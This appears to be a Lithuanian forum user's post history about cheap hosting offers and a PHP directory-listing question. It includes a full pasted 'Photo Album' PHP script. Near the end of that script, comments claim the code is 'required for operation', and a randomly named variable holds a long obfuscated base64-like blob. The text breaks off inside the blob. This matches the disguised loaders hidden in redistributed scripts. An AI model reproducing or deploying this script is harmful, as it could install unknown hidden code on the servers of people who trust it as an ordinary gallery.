djnjx
-
Pranešimai
199 -
Užsiregistravo
-
Lankėsi
-
Atsiliepimai
100%
Turinio tipas
Forumas
Kalendorius
Parduotuvė
Akademija
Skelbimai
djnjx Pranešimai
-
-
Neblogas ir tuo pačiu nebrangus hostingas būtų https://www.hostwinds.com/shared.php.
Jei nori, gali pabandyti pirmą mėnesį su 99% nuolaida, jei pasinaudosi šiuo nuolaidos kodu: FIRSTOFF99
dekui, pasinaudojau tavo pasiulymu.
ir iskart atsiemu savo zodzius, luzo visas tas hostas, ftp ir taip toliau :D regis teks ieskotis toliau :D
-
DigitalOcean už $10 gali gauti VPS'ą su 30GB SSD bei 2TB srauto (nors už papildomą srautą jie kol kas neapmokestina papildomai).
Nuoroda su mano ref: https://www.digitalocean.com/?refcode=6e429a06901
Gausi iš karto $10, tad vieną mėnesį galėsi nemokamai išbandyti.
gaila labai noreciau bet vps nemoku naudotis :) buvau uzsisakes nemokama pabandymui is vps.me tai nelabai man kas ten pavyko
-
joks ne ftp darkarta sakau cia elementarus direktorijos turinio vaizdavimas.
visas skriptas orientuotas i piesineliu rodyma
reiktu si beita keisti, imti ir keiti o ne klausti kas kaip, nieko cia sudetingo
#piesieniu formatai
$imageformats = array("gif", "jpe", "jpeg", "jfif", "jpg", "png");
.
.
#apsauga kad nepraitu ne piesinelis
if (!in_array(strtolower($extension), $imageformats) || (substr($attributes['mime'], 0, 6) !== "image/"))
pavyko sitas dalykas, dekui uz pagalba :) o kaip padaryti kad salia failo butu ir atsisiuntimo nuoroda, nes kai paspaudziu ant to failo iskart siuncia, bet man reikia nuorodos iki failo :)
-
sveiki , reikia hostingo plano, su minimum 30gb vietos, ir neribotu arba gan nemazu srautu, bet reikia kad eitu uzsisakyt bent minimaliam 1menesio laikotarpiui. nes kitur kur radau eina minimum uz 3men. mokesiu iki 20lt 1 menesiui. pasiulimu reikia tik iki sio vakaro 19:00 :) jei hostas bus pakenciamas tai bus pratestas ilgesniam laikui.
-
na man reikia is ftp atvaizduot puslapyje, kuriuo naudosiuos tik as, pagal si scripta, tik nzn kaip padaryt kad atvaizduotu tarkim mp3, apk ar dar kokius failus. nes rodo tik image mano pateiktame pavizdyje.
-
taip kazkas panasaus, na cloud serveris biskiuka per brangus, radau skripta. kazka panasaus. tik neatvaizduoja kitokiu failu isskyrus image ;) bet principas toks pat kokio man reikia ;)
stai kodas
<?php /**** Photo Album script Version 1.0 Created by High Power Scripts www.highpowerscripts.com How to use: Simply place this file into any folder on your website, and it will be turned into a photo album when you browse to it. Optionally, change the settings below if you want to change how the script works. Technical requirements: PHP 4.3.2 or greater. GD library. When you browse to your photo album folder in your web browser, it will let you know if your web host does not meet the technical requirements. Want to remove the copyright, change the looks, language, or other aspects of the script? Simply visit our website: www.highpowerscripts.com/products/photoalbum/ Terms of use: This script is offered without warranty. High Power Scripts holds no liability for any damage caused by this script. This script may not be reverse engineered. This script may not be sold without express permission from High Power Scripts. This script's copyright may only be removed if copyright removal is purchased. ****/ // Settings. // Website name. $websitename = "My Photo Album"; // Image thumbnail width (in pixels). $imagethumbnailwidth = 128; // Image thumbnail height (in pixels). $imagethumbnailheight = 103; // Show each image in a new window? - true for yes, false for no. $imageinnewwindow = false; // Supported image extensions (in lowercase). $imageformats = array("gif", "jpe", "jpeg", "jfif", "jpg", "png"); // How many letters to show before names are cut off with ... $namelength = 18; // Show image extensions? - true for yes, false for no. $showimageextensions = false; // The code. // Please do not change anything below unless you are sure that you know what you are doing. Thank you. // Language. $language = array( "directoryin" => '- In', "foldersheader" => "Folders", "goback" => "Go back", "nophotos" => "There are no photos here, but simply put your photos in this folder and they will appear.", "photosheader" => "Photos", "servercheck" => "Please enable or install the following PHP extensions for this script to work:", ); // Commonly used variables. define("SCRIPTLOCATION", $_SERVER['SCRIPT_NAME']); $currentdirectory = "."; // Check if the server supports this script. $checkextensions = array("gd", "pcre"); $checkerrormessage = ""; foreach ($checkextensions as $val) { if (!extension_loaded($val)) { $checkerrormessage .= "<br />" . $val; } } if ($checkerrormessage !== "") { echo parselanguage("{lang_servercheck} {$checkerrormessage}"); die(); } // Functions. /* Replaces language variables with the sanitized language data in the specified string, or a blank string if the language variable does not exist. $string: The string to parse. Returns: The string, with language variables replaced with sanitized language data. */ function parselanguage($string) { global $language; // Find all language variables eg. {lang_key} $matches = array(); if (preg_match_all("/\{lang_[a-zA-Z0-9\_]*\}/i", $string, $matches)) { if (count($matches[0]) > 0) { // Replace all language variables if they exist. foreach ($matches[0] as $val) { // Set up replacement, with a blank string if the variable does not exist. $langkey = substr($val, 6, -1); $langreplace = ""; if (isset($language[$langkey])) { $langreplace = $language[$langkey]; } // Replace with sanitized language. $string = str_replace($val, htmlspecialchars($langreplace), $string); } } } return $string; } /* Truncates the specified string if the length is greater than specified. $string: The string to truncate. $length: The maximum length of the string before truncation. Returns: The string, truncated if required. */ function truncate($string, $length) { if (strlen($string) > $length) { return substr($string, 0, $length) . "..."; } else { return $string; } } /* Creates and displays a thumbnail of the specified image filename. $filename: The filename of the image to display a thumbnail of. $width: The width of the created thumbnail, in pixels. $height: The height of the created thumbnail, in pixels. */ function displaythumbnail($filename, $width, $height) { global $imageformats; // Ensure the file exists and is a file. if (!file_exists($filename)) { die(); } if (is_dir($filename)) { die(); } // Ensure the file is an image. $attributes = @getimagesize($filename); if ($attributes === false) { die(); } // Ensure the file has an allowed extension. $extension = substr($filename, (strrpos($filename, ".") + 1)); if (!in_array(strtolower($extension), $imageformats) || (substr($attributes['mime'], 0, 6) !== "image/")) { die(); } // Load image and get image size. $image = imagecreatefromstring(file_get_contents($filename)); if ($image === false) { // An error occurred. die(); } $origwidth = imagesx($image); $origheight = imagesy($image); // Create a new transparent image at the thumbnail size. $newimage = imagecreatetruecolor($width, $height); // Set up transparent background. $transparencyindex = imagecolortransparent($image); $transparencycolor = array("red" => 255, "green" => 255, "blue" => 255); if ($transparencyindex > -1) { $transparencycolor = imagecolorsforindex($image, $transparencyindex); } $transparencyindex = imagecolorallocatealpha($newimage, $transparencycolor['red'], $transparencycolor['green'], $transparencycolor['blue'], 127); imagefill($newimage, 0, 0, $transparencyindex); imagecolortransparent($newimage, $transparencyindex); // Copy and resize original full size image into new thumbnail image. $finalx = 0; $finaly = 0; $finalwidth = $width; $finalheight = $height; // If the image size is smaller than the thumbnail, center the image. if ($origwidth < $width) { // Center the image horizontally. $finalwidth = $origwidth; $finalx = ($width / 2) - ($origwidth / 2); } if ($origheight < $height) { // Center the image vertically. $finalheight = $origheight; $finaly = ($height / 2) - ($origheight / 2);; } imagecopyresampled($newimage, $image, $finalx, $finaly, 0, 0, $finalwidth, $finalheight, $origwidth, $origheight); // Output thumbnail depending on what GD supports. if (function_exists("imagegif")) { header("Content-Type: image/gif"); imagegif($newimage); } elseif (function_exists("imagepng")) { header("Content-Type: image/png"); imagepng($newimage); } elseif (function_exists("imagejpeg")) { header("Content-Type: image/jpeg"); imagejpeg($newimage, NULL, 100); } imagedestroy($newimage); die(); } /* Displays an internal image. $name: The one character name of the internal image to display. */ function displayinternalimage($name) { // Image files. All GIF format. $imagedata = ""; switch ($name) { // Favicon image. case "i": $imagedata = "R0lGODlhEAAQAPcAAGw4F2s5GW06GGw6GW87Glm5/4tQKptbMZxbMZ5fNZ5fNqhlOoNfR5ZtUZZtUqd5W7dxQrhxQ8d8S6WOfpD/YP/YAKaPgMalkMemkQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAEAAQAAAIdAANDBhIsGBBAgkOCFjIsOFCAAESRGgwoaLFiwwGRIxwoYDHjyAtaJTYEWSBChU8itxYEiRKlSM5mjS5kuTMkDFb3qwpswAFCiYp8Lzws6jHokOLKkWac+lSng8wSJ1K1cFICRCyat2aFUGABQrCih071kBAADs="; break; // Go Back image. case "b": $imagedata = "R0lGODlhMQAzAPcAAAAAAJ6enp+fn6Kiov///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAAxADMAAAjRAP8JHEiwoMGDCBMqXMiwocOHECNKnEixosWLGDNq3MixY0YCIEOKHOlxIIEAKFOqTEmgpMCTK2MGaOkSpkyVNEvavIkyp8edPH12BHpTKEeiMo1uRBpTqUamK51+5InT5T+oKAXMtIqVJVeqOEeKHSsWYVewaKMePJu27daCbN2mNRpXLli6dvM2NVhXb1K+fgMr7RvY69rCdqXGJcuYrMLFVq+C1fq2ZlupU+dGhvxVc2e0mDFytuyZNNUBlXVe3ryaa2ORkWPLnk27tu1/AQEAOw=="; break; // Folder image. case "f": $imagedata = "R0lGODlhQAAzAPcAAAAAAOW7APruaPvua/3ybf7xcP7xcf7yc//ydv/0eP/1e//3e//1ff/2fP/4fv/2g//2hf/2h/vzjv/3iv/2i//1jvz0j//1kP/1k/72kP32kf72k//1lf72lf/3lv/3l//2mP/2mf/2m//2nv/5mv/6mv/8nP/+nv/2of/3pf/3pv/7ov/7pf/8oP/9ov/4qP/4qf/4qv/4rP/5sP/5sv/5tf/6twAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAABAADMAAAj/AP8JHBigoMGDCBMiHMiwocOHEBkGkEGxosWLGC8WjMixo0QYIEOKhPGipMmTKEsG8MgyYgAWMGPKnEmz5sqWOCWucMGzp8+fQHm2GNriZs6cAU4oXcq0qVOmJqIaPdoyQImrWLNq3Uqiq1cSU6l6DPChrNmzaNN+8MC2rYewYl12mEu3rt27eDtkUMhXYccAGwILFqyhsOHDiBMrXqx4I8QAFiJLniyhsuXLmDNr3rw5bN/PoEOL9hvAhunTqFOrXs26tevVBWvInk27tu3buHPrvl2Qhu/fwIMLH068uPHhBWcoX868ufPn0KNLf14wo/Xr2LNr1xgghvfv4MOL/x9Pvrz58QVVqF/Pvr379/Djy39fMIX9+/jz69/Pv7///QWhIOCABBZo4IEIJqjggQWN4OCDEEYo4YQUVmjhhAWJoOGGHHbo4YcghijihwWFYOKJKKao4oostujiigWBIOOMNNZo44045qjjjQVx4OOPQAYp5JBEFmnkkAVhoOSSTDbp5JNQRinlkwVdYOWVWGap5ZZcdunllgVVIOaYZJZp5plopqnmmQVR4OabcMYp55x01mnnnAVNoOeefPbp55+ABironwVFYOihiCaq6KKMNuroogVBIOmklFZq6aWYZqrppQU94OmnoIYq6qiklmrqqJ2equqqrJ6aaquwxtSq6quy1mqrpwU5oOuuvPbq66/ABivsrwUtYOyxyCar7LLMNuvssgUxIO201FZr7bXYZqvttQU14O234IYr7rjklmvuuAUpoO667Lbr7rvwxivvuwUlYO+9+Oar77789uvvvgUhIPDABBds8MEIJ6zwwQUd4PDDEEcs8cQUV2zxxAUZoPHGHHfs8ccghyzyxwUVYPLJKKes8sost+zyygURIPPMNNds880456zzzQUN4PPPQAct9NBEF2300AUJoPTSTDft9NNQRy310yuNZvXVWP8TEAA7"; break; // Blank image. default: $imagedata = "R0lGODlhAQABAPcAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAAQABAAAIBAABBAQAOw=="; break; } // Serve the image. $imagedata = base64_decode($imagedata); header("Content-Type: image/gif"); header("Content-Length: " . strlen($imagedata)); echo $imagedata; die(); } // HTML. $htmlshell = <<<HTML <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>{websitename} {directorydisplay}</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut icon" href="{favicon}" /> {css} </head> <body> {content} </body> </html> HTML; $html = <<<HTML <div id="folders"> {foldersheader} {folders} </div> <div class="header"> {lang_photosheader} {directorydisplay} </div> <div id="images"> {images} </div> HTML; // Default CSS. $css = <<<CSS /* Theme: Default Theme version: 1.0 Theme author: High Power Scripts Website: www.highpowerscripts.com */ body { background-color: #F2F2F2; font-family: Verdana, Arial, sans-serif; font-size: 12pt; color: #000000; } a { text-decoration: none; color: #0000FF; } a:visited { text-decoration: none; } a:hover { text-decoration: none; color: #FF0000; } .header { background-color: #FFFFFF; padding: 5px; border-style: solid; border-width: 2px; border-color: #B7B7B7 #8C8C8C #8C8C8C #B7B7B7; margin-top: 10px; margin-bottom: 10px; clear: both; } .item { float: left; margin: 5px; margin-bottom: 10px; margin-right: 15px; text-align: center; } .item img { display: block; border-style: none; border-width: 0px 0px 0px 0px; border-color: #000000; margin-left: auto; margin-right: auto; margin-bottom: 5px; } CSS; // Set up the CSS to use. $csshtml = ""; if (file_exists("theme.css")) { // External theme. $csshtml .= '<link rel="stylesheet" type="text/css" href="theme.css" media="all" />'; } else { // Default theme. $csshtml .= <<<HTML <style type="text/css"> {$css} </style> HTML; } // Handle changing the current directory if user is looking for images in another directory. if (isset($_GET['d'])) { // Change the directory. $currentdirectory = base64_decode($_GET['d']); if (!is_dir($currentdirectory)) { // Bad Base64 decode. Go back to the very first directory. header("Location: " . SCRIPTLOCATION); die(); } // Make sure the user cannot browse parent directories. // Get absolute path on the filesystem. Using realpath will resolve ../ and other directory traversal methods. $absolutebasepath = realpath(dirname(__FILE__)) . DIRECTORY_SEPARATOR; // Add on the new directory at the end. $newpath = dirname(__FILE__) . DIRECTORY_SEPARATOR . $currentdirectory; // Add the directory separator so that when checking the new path contains the base path, it will match exactly. $absolutenewpath = realpath($newpath) . DIRECTORY_SEPARATOR; // If the new path doesn't exist, or the new path doesn't contain the base path at the beginning, then directory // traversal is being attempted and should be stopped. if ($absolutenewpath === false || (strpos($absolutenewpath, $absolutebasepath) !== 0)) { // Go back to the very first directory. header("Location: " . SCRIPTLOCATION); die(); } } // Update the directory display name. $directorydisplay = ""; if (($currentdirectory !== "") && ($currentdirectory !== ".")) { $directorydisplay = htmlspecialchars('{lang_directoryin} "' . $currentdirectory . '"'); } // Handle any special actions. if (isset($_GET['a'])) { switch ($_GET['a']) { // Display an in-built image. case "i": if (isset($_GET['i'])) { displayinternalimage($_GET['i']); die(); } break; // Display an image thumbnail. case "t": if (isset($_GET['t'])) { displaythumbnail(base64_decode($_GET['t']), $imagethumbnailwidth, $imagethumbnailheight); die(); } break; default: break; } } // Find images in the current directory and display subdirectories. $imagepaths = array(); $folderpaths = array(); $handle = opendir($currentdirectory); while (($filename = readdir($handle)) !== false) { // Handle subdirectories. if (is_dir($currentdirectory . "/" . $filename) && ($filename !== ".") && ($filename !== "..")) { $folderpaths[] = $filename; } // Handle images. $filenameext = substr($filename, (strrpos($filename, ".") + 1)); if (!is_dir($currentdirectory . "/" . $filename) && (in_array(strtolower($filenameext), $imageformats))) { $imagepaths[] = $filename; } } // Sort subdirectories and images by name. sort($folderpaths); sort($imagepaths); // Prepare favicon location. $faviconlink = htmlspecialchars(SCRIPTLOCATION . "?a=i&i=i"); // Prepare folder view. $folderheader = ""; $folderhtml = ""; if ((count($folderpaths) > 0) || ($currentdirectory !== ".")) { // Header. $folderheader .= <<<HTML <div class="header"> {lang_foldersheader} {directorydisplay} </div> HTML; // Go back button. if ($currentdirectory !== ".") { // Determine previous directory, if one exists. $previousdirectoryhtml = ""; $previousdirectoryslash = strrpos($currentdirectory, "/"); if ($previousdirectoryslash !== false) { // A previous directory exists. $previousdirectoryhtml = "?d=" . base64_encode(substr($currentdirectory, 0, $previousdirectoryslash)); } // Set up HTML. $imgsrc = htmlspecialchars(SCRIPTLOCATION . "?a=i&i=b"); $ahreflink = htmlspecialchars(SCRIPTLOCATION . $previousdirectoryhtml); $ahreftext = "{lang_goback}"; $folderhtml .= <<<HTML <a href="{$ahreflink}" title="{$ahreftext}"> <span class="item"> <img src="{$imgsrc}" alt="{$ahreftext}" /> <span class="itemtext">{$ahreftext}</span> </span> </a> HTML; } // Thumbnails. foreach ($folderpaths as $val) { // Add the current directory to the filename, if needed. $thedirectory = ""; if ($currentdirectory !== ".") { $thedirectory .= $currentdirectory . "/"; } $thedirectory .= $val; // Set up HTML. $imgsrc = htmlspecialchars(SCRIPTLOCATION . "?a=i&i=f"); $ahreflink = htmlspecialchars(SCRIPTLOCATION . "?d=" . base64_encode($thedirectory)); $fulltext = htmlspecialchars($val); $truncatedtext = htmlspecialchars(truncate($val, $namelength)); $folderhtml .= <<<HTML <a href="{$ahreflink}" title="{$fulltext}"> <span class="item"> <img src="{$imgsrc}" alt="{$fulltext}" /> <span class="itemtext">{$truncatedtext}</span> </span> </a> HTML; } } // Prepare image thumbnails. $imagehtml = ""; foreach ($imagepaths as $val) { // Display image in new window if set in settings. $imagetarget = ""; if ($imageinnewwindow) { $imagetarget = 'target="_blank"'; } // Add current directory if needed to the filename. $imgsrcurl = ""; if ($currentdirectory !== ".") { $imgsrcurl .= $currentdirectory . "/"; } $imgsrcurl .= $val; // Remove extension from image filename if needed. $valfilename = $val; if (!$showimageextensions) { $valfilename = substr($valfilename, 0, strrpos($valfilename, ".")); } // Set up HTML. $imgsrc = htmlspecialchars(SCRIPTLOCATION . "?a=t&t=" . base64_encode($imgsrcurl)); $ahreflink = htmlspecialchars($currentdirectory . "/" . $val); $fulltext = htmlspecialchars($valfilename); $truncatedtext = htmlspecialchars(truncate($valfilename, $namelength)); $imagehtml .= <<<HTML <a href="{$ahreflink}" title="{$fulltext}" {$imagetarget}> <span class="item"> <img src="{$imgsrc}" alt="{$fulltext}" /> <span class="itemtext">{$truncatedtext}</span> </span> </a> HTML; } // Handle if no images exist. if ($imagehtml === "") { $imagehtml .= "{lang_nophotos}"; } // Required for operation. // Removing this will make the script fail. $QyvTPb="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